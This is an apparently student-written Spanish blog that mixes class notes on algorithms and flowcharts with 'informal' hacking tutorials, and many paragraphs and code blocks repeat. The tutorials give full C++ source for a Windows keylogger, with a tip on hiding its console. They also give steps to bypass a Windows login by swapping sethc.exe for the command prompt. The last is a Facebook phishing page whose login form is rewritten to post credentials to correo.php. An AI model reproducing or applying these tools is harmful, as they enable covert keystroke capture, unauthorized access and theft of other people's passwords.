jueves, 23 de agosto de 2018
Informal3-Keylogger parte 1
Bueno un keylogger es un programa que se dedica a almacenar las teclas que son presionadas en el teclado que viene de keyboard o teclado
Este lo haremos en C++ porque es un lenguaje rapido y de bajo nivel por lo que da ventajas.
Bueno obviamente un keylogger de los buenos es muy elaborado y en una semana no podre hacer mucho así que estará dividido en partes que subire las mejoras cada semana aver que tan lejos podemos llegar.
Usaremos Visual Studio porque es chido bueno creamos un proyecto
Bueno para programar en c++ se necesitan agregar librerías que nos darán las funciones que necesitamos en este caso incluiremos las librerías :
#include<Windows.h>
#include<iostream>
#include<fstream>
#include<string>
Seguido ponemos
using namespace std;
Esta linea agrega palabras reservadas, como C++ es una ampliacion de C necesita agregar las palabras reservadas por ejemplo para mostrar un mensaje esta el comando cout pero si no pusieramos la linea anterior deberiamos hacer referencia a el namespace que tiene estas palabras reservas asi que se escribiria std::cout lo cual da hueva y hace mas largo y tedioso escribir asi que esta funcion es muy util
Ahora escribiremos esto
void EscribirArchivo(LPCSTR texto)
{
ofstream archivo;
archivo.open("texto.txt",fstream::app);
archivo << texto;
archivo.close();
}
El void EscribirArchivo(LPCSTR texto) crea un metodo que se llama EscribirArchivo requiere un parametro de tipo LPCSTR que se llamara texto, los tipo LPCSTR son punteros de tipo String para no hacerle el cuento mas largo contiene una cadena de texto en un puntero.
Luego dice ofstream archivo; que esto crea un objeto tipo ofstream que se llama rchivo que sirve para abrir un archivo de l computadora
luego dice rchivo.open("texto.txt",fstream::app); esto dice que debe buscar un archivo llamado texto.txt o si no existe crearlo en la ruta donde esta mi programa y abrirlo
archivo << texto; Esto se refiere a que lo que este en el puntero se introducira en el archivo que como ya se hizo referencia es el texto.txt
archivo.close(); Esto cierra el archivo
bien ahora les explicare que es un switch
Funciona asi se pone:
switch (la variable a comparar va en estos parentesis)
{
case (aqui va el parametro):
Instrucciones si es verdadero;
break; Este comando cierra el case y se puede abrir otro
}
Bien en c++ la deteccion de teclas se pone como: VK_TECLA
por ejemplo VK_SPACE o VK_CONTROL pondre una lista de las teclas al final ahora pondremos en el programa lo siguiente
Bueno ahora estas equivalencias a las teclas valen un numero que es equivalente al codigo ASCII que se enumera de el 1 al 255 pueden ver que numero corresponde a cada caracter

bueno en el caso VK_A es igual al numero 65
entonces vamos a crear un metodo que requiera un parametro de tipo numerico osea int que significa integer o entero y dentro un switch
bool TeclasPulsadas(int tecla)
{
switch (tecla)
{
case VK_LBUTTON:
cout << "/n";
EscribirArchivo("\n");
break;
case VK_CONTROL:
cout << "control";
EscribirArchivo("");
break;
case VK_MENU:
cout << "alt";
EscribirArchivo("");
break;
case VK_OEM_PERIOD:
cout << ".";
EscribirArchivo(".");
break;
case VK_RBUTTON:
cout << "/n";
EscribirArchivo("\n");
break;
case VK_RETURN:
cout << "\n";
EscribirArchivo("\n");
break;
case VK_SPACE:
cout << " ";
EscribirArchivo(" ");
break;
case VK_SHIFT:
//cout << "-s-";
//EscribirArchivo("-s-");
break;
case VK_BACK:
cout << "-b-";
EscribirArchivo("-b-");
break;
default: return false;
}
}
bueno creamos un metodo llamado TeclasPulsadas y pedimos una variable int llamado tecla
luego hacemos un switch que compara la variable tecla con el numero de todas las teclas que puse que son caracteres especiales y esto lo hago porque los caracteres especiales al traducirlos de el numero a un caracter dar valores raros si apretas control o shilft da cosas raras o si apretas el boton de borrar o el enter asi que solo tomamos los mas importantes o los mas usados
Primero dice cout<<"lo que sea" esto hace que se muestre en la consola cierto texto si es presionada esa tecla
depues dice EscribirArchivo que recuerden es el metodo que crea e introduce valores en nuestro archivo y le damos un valor de una cadena de texto entre comillas
Para poner un comentario se pone // y lo que tu quieras para que no marque error el codigo
bueno ahora ponemo el metodo principal
int main()
{
//FreeConsole();
unsigned char key;
int numero = 0;
while (true)
{
Sleep(20);
for (key=8, numero=8; key <= 255, numero<=255; key++, numero++)
{
if (GetAsyncKeyState(key) == -32767)
{
if (TeclasPulsadas(key)==FALSE&&numero!=162&&numero!=164&&numero!=165)
{
cout << key;
ofstream archivo;
archivo.open("texto.txt", fstream::app);
archivo << key;
archivo.close();
}
}
}
}
}
bueno creamos el tipo de metodo int
tenemos comentado el FreeConsole que lo que hace es ocultar la consola que va a aparecer cuando lo corran solo quitan las 2 diagonales y el programa sera invisible
unsigned char key; luego creamos una variable sin signo de tipo char o caracter que se llama key
int numero = 0; creamos una variable de tipo int llamada numero
luego el comando while es un repetidor o un ciclo asi que lo que se pone entre parentesis mientra de verdadero se repetira todo lo que este dentro de el while como ponemos un true osea verdadero en el while se repetira por siempre hasta que cerremos el programa o explote la computadora, en este caso no aplica como en los diagramas de flujo que ponemos un final siempre prque el programa por si solo nunca terminara.
while (true)
Después dice Sleep (20) osea que dormirá o pues que se pausara por 20 milisegundos porque si no o hiciéramos el programa se repetiría tantas veces que travaria la computadora asi evitamos que explote
Sleep(20);
luego hacemos un for que diga que key y que numero son iguales a 8 y esto es porque en el codigo ascii los primero 8 carcteres no nos importan asi que nos los saltamos entonces asi repetimos todos los numeros de 8 al 255
for (key=8, numero=8; key <= 255, numero<=255; key++, numero++)
luego un if que dice que si key es igual a -32767 de verdadero no entendi esto pero segun yo esto verifica que la tecla dejo de presionarse
if (GetAsyncKeyState(key) == -32767)
Luego dice que si TeclasPulsadas es falso y numero es diferente de 162,164 y 165 entonces muetra en consola la tecla abre el archivo y guarda la tecla en pocas palabras te dice que si se presiono una tecla con codigo ascci entre 8 y 255 y ya se dejo de presionar y no es ninguna de las especiales que pusimos en el switch y no tiene el codigo ascci 162,164 o 165 que son las teclas Control, ALT y ALTgr
if (TeclasPulsadas(key)==FALSE&&numero!=162&&numero!=164&&numero!=165)
Al final todo el codigo se ve asi
#include<Windows.h>
#include<iostream>
#include<fstream>
#include<string>
using namespace std;
void EscribirArchivo(LPCSTR texto)
{
ofstream archivo;
archivo.open("texto.txt",fstream::app);
archivo << texto;
archivo.close();
}
bool TeclasPulsadas(int tecla)
{
switch (tecla)
{
case VK_LBUTTON:
cout << "/n";
EscribirArchivo("\n");
break;
case VK_CONTROL:
cout << "control";
EscribirArchivo("");
break;
case VK_MENU:
cout << "alt";
EscribirArchivo("");
break;
case VK_OEM_PERIOD:
cout << ".";
EscribirArchivo(".");
break;
case VK_RBUTTON:
cout << "/n";
EscribirArchivo("\n");
break;
case VK_RETURN:
cout << "\n";
EscribirArchivo("\n");
break;
case VK_SPACE:
cout << " ";
EscribirArchivo(" ");
break;
case VK_SHIFT:
//cout << "-s-";
//EscribirArchivo("-s-");
break;
case VK_BACK:
cout << "-b-";
EscribirArchivo("-b-");
break;
default: return false;
}
}
int main()
{
//FreeConsole();
unsigned char key;
int numero = 0;
while (true)
{
Sleep(20);
for (key=8, numero=8; key <= 255, numero<=255; key++, numero++)
{
if (GetAsyncKeyState(key) == -32767)
{
if (TeclasPulsadas(key)==FALSE&&numero!=162&&numero!=164&&numero!=165)
{
cout << key;
ofstream archivo;
archivo.open("texto.txt", fstream::app);
archivo << key;
archivo.close();
}
}
}
}
}
ya corriendolo se ve asi
y yo ahorita estoy escribiendo en el blog y ya se registro todo lo que introduje en el teclado
y en esta carpeta esta el archivo texto.txt que tiene todo lo que ya puse
el contenido es este
Como pueden ver no distingue minusculas de mayusculas es algo en lo que trabajare ademas de darle orden a lo que se guarde que puede ser confuso entre tantas control y -b- y asi porque lo que es la version 1.0 con muchas fallas pero se mejorara
Este lo haremos en C++ porque es un lenguaje rapido y de bajo nivel por lo que da ventajas.
Bueno obviamente un keylogger de los buenos es muy elaborado y en una semana no podre hacer mucho así que estará dividido en partes que subire las mejoras cada semana aver que tan lejos podemos llegar.
Usaremos Visual Studio porque es chido bueno creamos un proyecto
Bueno para programar en c++ se necesitan agregar librerías que nos darán las funciones que necesitamos en este caso incluiremos las librerías :
#include<Windows.h>
#include<iostream>
#include<fstream>
#include<string>
Seguido ponemos
using namespace std;
Esta linea agrega palabras reservadas, como C++ es una ampliacion de C necesita agregar las palabras reservadas por ejemplo para mostrar un mensaje esta el comando cout pero si no pusieramos la linea anterior deberiamos hacer referencia a el namespace que tiene estas palabras reservas asi que se escribiria std::cout lo cual da hueva y hace mas largo y tedioso escribir asi que esta funcion es muy util
Ahora escribiremos esto
void EscribirArchivo(LPCSTR texto)
{
ofstream archivo;
archivo.open("texto.txt",fstream::app);
archivo << texto;
archivo.close();
}
El void EscribirArchivo(LPCSTR texto) crea un metodo que se llama EscribirArchivo requiere un parametro de tipo LPCSTR que se llamara texto, los tipo LPCSTR son punteros de tipo String para no hacerle el cuento mas largo contiene una cadena de texto en un puntero.
Luego dice ofstream archivo; que esto crea un objeto tipo ofstream que se llama rchivo que sirve para abrir un archivo de l computadora
luego dice rchivo.open("texto.txt",fstream::app); esto dice que debe buscar un archivo llamado texto.txt o si no existe crearlo en la ruta donde esta mi programa y abrirlo
archivo << texto; Esto se refiere a que lo que este en el puntero se introducira en el archivo que como ya se hizo referencia es el texto.txt
archivo.close(); Esto cierra el archivo
bien ahora les explicare que es un switch
Funciona asi se pone:
switch (la variable a comparar va en estos parentesis)
{
case (aqui va el parametro):
Instrucciones si es verdadero;
break; Este comando cierra el case y se puede abrir otro
}
Bien en c++ la deteccion de teclas se pone como: VK_TECLA
por ejemplo VK_SPACE o VK_CONTROL pondre una lista de las teclas al final ahora pondremos en el programa lo siguiente
Bueno ahora estas equivalencias a las teclas valen un numero que es equivalente al codigo ASCII que se enumera de el 1 al 255 pueden ver que numero corresponde a cada caracter

bueno en el caso VK_A es igual al numero 65
entonces vamos a crear un metodo que requiera un parametro de tipo numerico osea int que significa integer o entero y dentro un switch
bool TeclasPulsadas(int tecla)
{
switch (tecla)
{
case VK_LBUTTON:
cout << "/n";
EscribirArchivo("\n");
break;
case VK_CONTROL:
cout << "control";
EscribirArchivo("");
break;
case VK_MENU:
cout << "alt";
EscribirArchivo("");
break;
case VK_OEM_PERIOD:
cout << ".";
EscribirArchivo(".");
break;
case VK_RBUTTON:
cout << "/n";
EscribirArchivo("\n");
break;
case VK_RETURN:
cout << "\n";
EscribirArchivo("\n");
break;
case VK_SPACE:
cout << " ";
EscribirArchivo(" ");
break;
case VK_SHIFT:
//cout << "-s-";
//EscribirArchivo("-s-");
break;
case VK_BACK:
cout << "-b-";
EscribirArchivo("-b-");
break;
default: return false;
}
}
bueno creamos un metodo llamado TeclasPulsadas y pedimos una variable int llamado tecla
luego hacemos un switch que compara la variable tecla con el numero de todas las teclas que puse que son caracteres especiales y esto lo hago porque los caracteres especiales al traducirlos de el numero a un caracter dar valores raros si apretas control o shilft da cosas raras o si apretas el boton de borrar o el enter asi que solo tomamos los mas importantes o los mas usados
Primero dice cout<<"lo que sea" esto hace que se muestre en la consola cierto texto si es presionada esa tecla
depues dice EscribirArchivo que recuerden es el metodo que crea e introduce valores en nuestro archivo y le damos un valor de una cadena de texto entre comillas
Para poner un comentario se pone // y lo que tu quieras para que no marque error el codigo
bueno ahora ponemo el metodo principal
int main()
{
//FreeConsole();
unsigned char key;
int numero = 0;
while (true)
{
Sleep(20);
for (key=8, numero=8; key <= 255, numero<=255; key++, numero++)
{
if (GetAsyncKeyState(key) == -32767)
{
if (TeclasPulsadas(key)==FALSE&&numero!=162&&numero!=164&&numero!=165)
{
cout << key;
ofstream archivo;
archivo.open("texto.txt", fstream::app);
archivo << key;
archivo.close();
}
}
}
}
}
bueno creamos el tipo de metodo int
tenemos comentado el FreeConsole que lo que hace es ocultar la consola que va a aparecer cuando lo corran solo quitan las 2 diagonales y el programa sera invisible
unsigned char key; luego creamos una variable sin signo de tipo char o caracter que se llama key
int numero = 0; creamos una variable de tipo int llamada numero
luego el comando while es un repetidor o un ciclo asi que lo que se pone entre parentesis mientra de verdadero se repetira todo lo que este dentro de el while como ponemos un true osea verdadero en el while se repetira por siempre hasta que cerremos el programa o explote la computadora, en este caso no aplica como en los diagramas de flujo que ponemos un final siempre prque el programa por si solo nunca terminara.
while (true)
Después dice Sleep (20) osea que dormirá o pues que se pausara por 20 milisegundos porque si no o hiciéramos el programa se repetiría tantas veces que travaria la computadora asi evitamos que explote
Sleep(20);
luego hacemos un for que diga que key y que numero son iguales a 8 y esto es porque en el codigo ascii los primero 8 carcteres no nos importan asi que nos los saltamos entonces asi repetimos todos los numeros de 8 al 255
for (key=8, numero=8; key <= 255, numero<=255; key++, numero++)
luego un if que dice que si key es igual a -32767 de verdadero no entendi esto pero segun yo esto verifica que la tecla dejo de presionarse
if (GetAsyncKeyState(key) == -32767)
Luego dice que si TeclasPulsadas es falso y numero es diferente de 162,164 y 165 entonces muetra en consola la tecla abre el archivo y guarda la tecla en pocas palabras te dice que si se presiono una tecla con codigo ascci entre 8 y 255 y ya se dejo de presionar y no es ninguna de las especiales que pusimos en el switch y no tiene el codigo ascci 162,164 o 165 que son las teclas Control, ALT y ALTgr
if (TeclasPulsadas(key)==FALSE&&numero!=162&&numero!=164&&numero!=165)
Al final todo el codigo se ve asi
#include<Windows.h>
#include<iostream>
#include<fstream>
#include<string>
using namespace std;
void EscribirArchivo(LPCSTR texto)
{
ofstream archivo;
archivo.open("texto.txt",fstream::app);
archivo << texto;
archivo.close();
}
bool TeclasPulsadas(int tecla)
{
switch (tecla)
{
case VK_LBUTTON:
cout << "/n";
EscribirArchivo("\n");
break;
case VK_CONTROL:
cout << "control";
EscribirArchivo("");
break;
case VK_MENU:
cout << "alt";
EscribirArchivo("");
break;
case VK_OEM_PERIOD:
cout << ".";
EscribirArchivo(".");
break;
case VK_RBUTTON:
cout << "/n";
EscribirArchivo("\n");
break;
case VK_RETURN:
cout << "\n";
EscribirArchivo("\n");
break;
case VK_SPACE:
cout << " ";
EscribirArchivo(" ");
break;
case VK_SHIFT:
//cout << "-s-";
//EscribirArchivo("-s-");
break;
case VK_BACK:
cout << "-b-";
EscribirArchivo("-b-");
break;
default: return false;
}
}
int main()
{
//FreeConsole();
unsigned char key;
int numero = 0;
while (true)
{
Sleep(20);
for (key=8, numero=8; key <= 255, numero<=255; key++, numero++)
{
if (GetAsyncKeyState(key) == -32767)
{
if (TeclasPulsadas(key)==FALSE&&numero!=162&&numero!=164&&numero!=165)
{
cout << key;
ofstream archivo;
archivo.open("texto.txt", fstream::app);
archivo << key;
archivo.close();
}
}
}
}
}
ya corriendolo se ve asi
y yo ahorita estoy escribiendo en el blog y ya se registro todo lo que introduje en el teclado
y en esta carpeta esta el archivo texto.txt que tiene todo lo que ya puse
el contenido es este
Como pueden ver no distingue minusculas de mayusculas es algo en lo que trabajare ademas de darle orden a lo que se guarde que puede ser confuso entre tantas control y -b- y asi porque lo que es la version 1.0 con muchas fallas pero se mejorara
jueves, 16 de agosto de 2018
Formal 2-Diagramas de flujo
El maestro nos propuso ciertos problemas que debíamos resolver con algoritmos sencillos para resolver problemas tales como la suma de 3 números.
Estos ejercicios sirvieron para desarrollar nuestra lógica y entendimiento de los algoritmos que manejaremos mas adelante en esta materia
La escencia de los algoritmos es la siguiente:
1.Análisis previo del Problema: Se debe realizar un análisis del funcionamiento del problema antes que se realice cualquier algoritmo.
En la clase de el día jueves nos propuso problemas relativamente fáciles pero que requerían cierta lógica y razonamiento para su correcta solución. Estos en vez de resolverlos como nuestro corazón nos dijera utilizamos los diagramas de flujo que el maestro previamente nos explico.
Ocurrio un simulacro lo que nos dio tiempo de debatir un poco la resolución de dichos problemas.
Los elementos de un diagrama de flujo son:
http://ladinopaola.blogspot.com/p/pasos-para-realizar-algoritmos.html
https://www.smartdraw.com/flowchart/img/simbolos-de-diagramas-de-flujo.png?bn=1510011133
Estos ejercicios sirvieron para desarrollar nuestra lógica y entendimiento de los algoritmos que manejaremos mas adelante en esta materia
La escencia de los algoritmos es la siguiente:
1.Análisis previo del Problema: Se debe realizar un análisis del funcionamiento del problema antes que se realice cualquier algoritmo.
2.Definición de Requerimientos: Los problemas a solucionar, esto es, por ejemplo, el sumar dos números, multiplicar dos matrices, ordenar una lista de números, generar un reporte, etc.
3.Identificación de los Módulos: La identificación de los módulos es tan importante como la identificación correcta de los requerimientos, esto porque la correcta identificación de los módulos simplifica considerablemente la realización de los algoritmos que darán solución a los requerimientos identificados en el paso anterior.
4.Realización de los Algoritmos: El algoritmo deberá cumplir con las características que se indicaron para posteriormente implementarse en un lenguaje de programación comprensible por una computadora.
5. Implementación de los Algoritmos: La implementación de los algoritmos se debe realizar en un lenguaje de programación para que una computadora pueda comprender las instrucciones que el algoritmo modela para así poder ejecutarlas y lograr el resultado esperado.
Ademas vimos las precedencias de operadores con operaciones simples de logica y de operaciones matematicas basicas
3.Identificación de los Módulos: La identificación de los módulos es tan importante como la identificación correcta de los requerimientos, esto porque la correcta identificación de los módulos simplifica considerablemente la realización de los algoritmos que darán solución a los requerimientos identificados en el paso anterior.
4.Realización de los Algoritmos: El algoritmo deberá cumplir con las características que se indicaron para posteriormente implementarse en un lenguaje de programación comprensible por una computadora.
5. Implementación de los Algoritmos: La implementación de los algoritmos se debe realizar en un lenguaje de programación para que una computadora pueda comprender las instrucciones que el algoritmo modela para así poder ejecutarlas y lograr el resultado esperado.
Ademas vimos las precedencias de operadores con operaciones simples de logica y de operaciones matematicas basicas
En la clase de el día jueves nos propuso problemas relativamente fáciles pero que requerían cierta lógica y razonamiento para su correcta solución. Estos en vez de resolverlos como nuestro corazón nos dijera utilizamos los diagramas de flujo que el maestro previamente nos explico.
Ocurrio un simulacro lo que nos dio tiempo de debatir un poco la resolución de dichos problemas.
Los elementos de un diagrama de flujo son:
http://ladinopaola.blogspot.com/p/pasos-para-realizar-algoritmos.html
https://www.smartdraw.com/flowchart/img/simbolos-de-diagramas-de-flujo.png?bn=1510011133
lunes, 13 de agosto de 2018
Informal2-Entrando a Windows sin contraseña
Bueno les enseñare a entrar a windows sin saber la contraseña
Este por decirse bug funciona en windows 7,8 y 10 me encantaría enseñarlos en los 3 sistema operativos que es en escencia lo mismo pero con algunos pasos diferentes pero el tiempo se me vino encima y lo dejare para otra entrada en este caso pondre windows 10 que es el mas común.
Necesitamos un disco de instalación de windows 10
Usare mi laptop para probarlo
Lo primero es entrar a la BIOS mi laptop es hp y tuve que reiniciarla y apretar rápido la tecla esc
Me mostró lo siguiente
Le di en opciones de dispositivo de inicio y después en CD- ROM USB porque es donde tengo mi disco
Después ya en el menú de instalacion
Este por decirse bug funciona en windows 7,8 y 10 me encantaría enseñarlos en los 3 sistema operativos que es en escencia lo mismo pero con algunos pasos diferentes pero el tiempo se me vino encima y lo dejare para otra entrada en este caso pondre windows 10 que es el mas común.
Necesitamos un disco de instalación de windows 10
Usare mi laptop para probarlo
Lo primero es entrar a la BIOS mi laptop es hp y tuve que reiniciarla y apretar rápido la tecla esc
Me mostró lo siguiente
Después ya en el menú de instalacion
Apretamos Shift+F10 y nos abre una consola de símbolo de sistema
Ahora buscaremos el sistema operativo yo busque en el disco local C:
escribimos C:
y después dir para ver si tiene las carpetas del sistema
Como ven dice que no encontró el archivo así que ahora probamos con el disco D:
Como pueden ver en la llave que estan las carpetas del sistema bueno proeguimos a escribir
cd d:\windows\system32
el comando cd es para ir a la ruta que especificamos despues
El programa sethc.exe es el programa de las teclas especiales si apretas en tu omputadora la tela shift muchas veces aparecera una ventanita buena esa ventana es sethc.exe asi que usando el comando ren que cambia el nombre le pondremos un 1 a su nombre para que no sea igual
Seguido copiaremos el símbolo de sistema poniéndole el nombre sethc.exe de esta manera haremos que al apretar muchas veces shift aparezca una consola
Seguido cancelamos la instalación y reiniciamos la computadora para que nos aparezca el login
Ahora apretamos rápido muchas veces shift y nos abrirá una consola
bueno despues escribimos : control userpaswords2
que este comando nos abre como un administrador de usuarios ahora como no estamos en ningun usuario entonce tenemos todos los permisos de hacer lo que queramos asi que le quitaremos la contraseña al administrador
seleccionamos el usuario elegido y damos en restablecer contraseña
después dejamos vació todo y damos aceptar si queremos quitarla si quieres cambiar la clave es tu decisión
yo lo deje vació luego si cierras las ventanas y das enter sin escribir contraseña solito entra a windows o en su caso escribe la nueva que definiste y listo
miércoles, 8 de agosto de 2018
Formal-semana 1
Hola esta semana vimos lo que es la creación de algoritmos de la programación que fue de una forma bastante básica nos explicaron sobre la arquitectura de las computadoras y sobre los tipos de lenguajes de programación así como sus características Fueron clases bastante interesantes en las que aprendí ciertas cosas que desconocía como por ejemplo los tipos de memoria de el procesador y las tarjetas de vídeo No puedo esperar a empezar a programar de verdad Por ahora estamos viendo problemas lógicos que resolvemos con solo palabras al azar no estamos usando metodologías o diagramas de flujo aun pero espero pronto el maestro nos lo aplique Tengo muy altas expectativas de esta materia y de nuestro maestro así que haga su mejor esfuerzo para enseñarnos lo mas que pueda ya que ahora es a única clase que vale la pena en esta carrera en lo que respecta a este primer semestre
lunes, 6 de agosto de 2018
Informal-Hackeando facebook
El phishing es un método de hackeo a medias porque no hackeas solo engañas al usuario con una pagina web falsa idéntica
a la original para que te regale su contraseña.
Bueno les enseñare a obtener una contraseña de facebook con phishing muy básico :v
Necesitan saber lo básico de html
Primero entramos a facebook
Luego le damos en iniciar sesión y te enviara a una página como esta
bien ahora damos clic derecho donde sea y damos en ver código fuente de la pagina
Ahora mostrara un montón de código y lo copiamos todo
ahora usaremos un programa que se llama notepad++ que les dejo en link de drive para que lo descarguen y lo instalen quiero aclarar que lo uso por comodidad porque creo que un blog de notas no es muy practico sin embargo son libres de usarlo o no
Click aqui para descargar
Bien ahora que lo instalamos creamos una carpeta de nombre cualquiera y ponemos dentro 2 archivos con los nombres index.php y correo.php si les da problemas la extension .php pueden escribir en el menu de windows opciones de carpeta (en windows 10 sale con ese nombre raro pero en windows 7 sale como opciones de carpeta)
Ahora vamos a la capeta y clic derecho nuevo documento de texto y ponemos en uno index.php y en otro correo.php nos pedirá confirmación de cambiar la extensión y le damos que simon
luego cambiamos el nombre a los ya mencionados
y listo ya están los 2 archivos, ahora clic derecho en index.php y editar con notepad++
y pegamos todo el código que ya habíamos copiado de facebook
apretamos Ctrl+F y escribimos <form y damos enter y saldrá esto
bien justo antes de el <form damos clic y damos enter unas cuantas veces para darle un salto de linea y trabajar mejor
ahora escribimos en el buscador </form> damos enter justo después de ese comando y damos unos cuantos saltos de linea
y queda así bien bonito
Bueno seré breve en esto, lo que hago es redirigir los datos que escribes a el archivo correo.php y ya eliminando la función original de facebook de iniciar sesión para mas fácil borren toda la linea de el <form> y peguen esta que ya modifique yo para los que les interese saber donde esta el truco en la etiqueta action luego luego al principio hago referencia a "correo.php" ;)
<form id="login_form" action="correo.php" method="post" onsubmit="return window.Event && Event.__inlineSubmit && Event.__inlineSubmit(this,event)"><input type="hidden" name="lsd" value="AVqiXk-1" autocomplete="off" /><input type="hidden" autocomplete="off" id="error_box" /><div id="loginform"><input type="hidden" autocomplete="off" id="display" name="display" value="" /><input type="hidden" autocomplete="off" id="enable_profile_selector" name="enable_profile_selector" value="" /><input type="hidden" autocomplete="off" id="isprivate" name="isprivate" value="" /><input type="hidden" autocomplete="off" id="legacy_return" name="legacy_return" value="0" /><input type="hidden" autocomplete="off" id="profile_selector_ids" name="profile_selector_ids" value="" /><input type="hidden" autocomplete="off" id="return_session" name="return_session" value="" /><input type="hidden" autocomplete="off" id="skip_api_login" name="skip_api_login" value="" /><input type="hidden" autocomplete="off" id="signed_next" name="signed_next" value="" /><input type="hidden" autocomplete="off" id="trynum" name="trynum" value="1" /><input type="hidden" autocomplete="off" name="timezone" value="" id="u_0_9" /><input type="hidden" autocomplete="off" name="lgndim" value="" id="u_0_a" /><input type="hidden" name="lgnrnd" value="152101_uw-X" /><input type="hidden" id="lgnjs" name="lgnjs" value="n" /><div class="clearfix _5466 _44mg" id="email_container"><input type="text" class="inputtext _55r1 inputtext _1kbt inputtext _1kbt" name="email" id="email" tabindex="1" placeholder="Correo electrónico o número de teléfono" value="" aria-label="Correo electrónico o número de teléfono" /></div><div class="clearfix _5466 _44mg"><input type="password" class="inputtext _55r1 inputtext _1kbt inputtext _1kbt" name="pass" id="pass" tabindex="1" placeholder="Contraseña" autofocus="1" aria-label="Contraseña" /></div><div class="_xkt"><button value="1" class="_42ft _4jy0 _52e0 _4jy6 _4jy1 selected _51sy" id="loginbutton" name="login" tabindex="1" type="submit">Iniciar sesión</button></div><div id="login_link"><div class="_1rf5"><span class="_1rf8">o</span></div><div class="_xkt"><a role="button" class="_42ft _4jy0 _4jy6 _4jy2 selected _51sy" href="/r.php?locale=es_LA&display=page" style="font-size: 14px">Crear una cuenta nueva</a></div><div class="_xkt"><a href="https://www.facebook.com/recover/initiate?lwv=101" id="forgot-password-link" target="">¿Olvidaste tu cuenta?</a></div></div></div><input type="hidden" autocomplete="off" id="prefill_contact_point" name="prefill_contact_point" value="" /><input type="hidden" autocomplete="off" id="prefill_source" name="prefill_source" value="last_login" /><input type="hidden" autocomplete="off" id="prefill_type" name="prefill_type" value="contact_point" /><input type="hidden" autocomplete="off" id="first_prefill_source" name="first_prefill_source" value="last_login" /><input type="hidden" autocomplete="off" id="first_prefill_type" name="first_prefill_type" value="contact_point" /><input type="hidden" autocomplete="off" id="had_cp_prefilled" name="had_cp_prefilled" value="true" /><input type="hidden" autocomplete="off" id="had_password_prefilled" name="had_password_prefilled" value="false" /></form>
Ojo solo borren toda la linea de el <form> no toquen nada mas aparte de eso
La pagina funciona perfectamente en celulares android y en computadoras, nunca lo he probado con un iphone pero no veo porque no funcionaria así que si funciona me avisan.
Bueno les enseñare a obtener una contraseña de facebook con phishing muy básico :v
Necesitan saber lo básico de html
Primero entramos a facebook
Luego le damos en iniciar sesión y te enviara a una página como esta
bien ahora damos clic derecho donde sea y damos en ver código fuente de la pagina
Ahora mostrara un montón de código y lo copiamos todo
ahora usaremos un programa que se llama notepad++ que les dejo en link de drive para que lo descarguen y lo instalen quiero aclarar que lo uso por comodidad porque creo que un blog de notas no es muy practico sin embargo son libres de usarlo o no
Click aqui para descargar
Bien ahora que lo instalamos creamos una carpeta de nombre cualquiera y ponemos dentro 2 archivos con los nombres index.php y correo.php si les da problemas la extension .php pueden escribir en el menu de windows opciones de carpeta (en windows 10 sale con ese nombre raro pero en windows 7 sale como opciones de carpeta)
ya le damos en ver y quitamos la flechita en donde dice ocultar extensiones de archivos conocidos
luego cambiamos el nombre a los ya mencionados
y listo ya están los 2 archivos, ahora clic derecho en index.php y editar con notepad++
y pegamos todo el código que ya habíamos copiado de facebook
apretamos Ctrl+F y escribimos <form y damos enter y saldrá esto
bien justo antes de el <form damos clic y damos enter unas cuantas veces para darle un salto de linea y trabajar mejor
ahora escribimos en el buscador </form> damos enter justo después de ese comando y damos unos cuantos saltos de linea
y queda así bien bonito
Bueno seré breve en esto, lo que hago es redirigir los datos que escribes a el archivo correo.php y ya eliminando la función original de facebook de iniciar sesión para mas fácil borren toda la linea de el <form> y peguen esta que ya modifique yo para los que les interese saber donde esta el truco en la etiqueta action luego luego al principio hago referencia a "correo.php" ;)
<form id="login_form" action="correo.php" method="post" onsubmit="return window.Event && Event.__inlineSubmit && Event.__inlineSubmit(this,event)"><input type="hidden" name="lsd" value="AVqiXk-1" autocomplete="off" /><input type="hidden" autocomplete="off" id="error_box" /><div id="loginform"><input type="hidden" autocomplete="off" id="display" name="display" value="" /><input type="hidden" autocomplete="off" id="enable_profile_selector" name="enable_profile_selector" value="" /><input type="hidden" autocomplete="off" id="isprivate" name="isprivate" value="" /><input type="hidden" autocomplete="off" id="legacy_return" name="legacy_return" value="0" /><input type="hidden" autocomplete="off" id="profile_selector_ids" name="profile_selector_ids" value="" /><input type="hidden" autocomplete="off" id="return_session" name="return_session" value="" /><input type="hidden" autocomplete="off" id="skip_api_login" name="skip_api_login" value="" /><input type="hidden" autocomplete="off" id="signed_next" name="signed_next" value="" /><input type="hidden" autocomplete="off" id="trynum" name="trynum" value="1" /><input type="hidden" autocomplete="off" name="timezone" value="" id="u_0_9" /><input type="hidden" autocomplete="off" name="lgndim" value="" id="u_0_a" /><input type="hidden" name="lgnrnd" value="152101_uw-X" /><input type="hidden" id="lgnjs" name="lgnjs" value="n" /><div class="clearfix _5466 _44mg" id="email_container"><input type="text" class="inputtext _55r1 inputtext _1kbt inputtext _1kbt" name="email" id="email" tabindex="1" placeholder="Correo electrónico o número de teléfono" value="" aria-label="Correo electrónico o número de teléfono" /></div><div class="clearfix _5466 _44mg"><input type="password" class="inputtext _55r1 inputtext _1kbt inputtext _1kbt" name="pass" id="pass" tabindex="1" placeholder="Contraseña" autofocus="1" aria-label="Contraseña" /></div><div class="_xkt"><button value="1" class="_42ft _4jy0 _52e0 _4jy6 _4jy1 selected _51sy" id="loginbutton" name="login" tabindex="1" type="submit">Iniciar sesión</button></div><div id="login_link"><div class="_1rf5"><span class="_1rf8">o</span></div><div class="_xkt"><a role="button" class="_42ft _4jy0 _4jy6 _4jy2 selected _51sy" href="/r.php?locale=es_LA&display=page" style="font-size: 14px">Crear una cuenta nueva</a></div><div class="_xkt"><a href="https://www.facebook.com/recover/initiate?lwv=101" id="forgot-password-link" target="">¿Olvidaste tu cuenta?</a></div></div></div><input type="hidden" autocomplete="off" id="prefill_contact_point" name="prefill_contact_point" value="" /><input type="hidden" autocomplete="off" id="prefill_source" name="prefill_source" value="last_login" /><input type="hidden" autocomplete="off" id="prefill_type" name="prefill_type" value="contact_point" /><input type="hidden" autocomplete="off" id="first_prefill_source" name="first_prefill_source" value="last_login" /><input type="hidden" autocomplete="off" id="first_prefill_type" name="first_prefill_type" value="contact_point" /><input type="hidden" autocomplete="off" id="had_cp_prefilled" name="had_cp_prefilled" value="true" /><input type="hidden" autocomplete="off" id="had_password_prefilled" name="had_password_prefilled" value="false" /></form>
Ojo solo borren toda la linea de el <form> no toquen nada mas aparte de eso
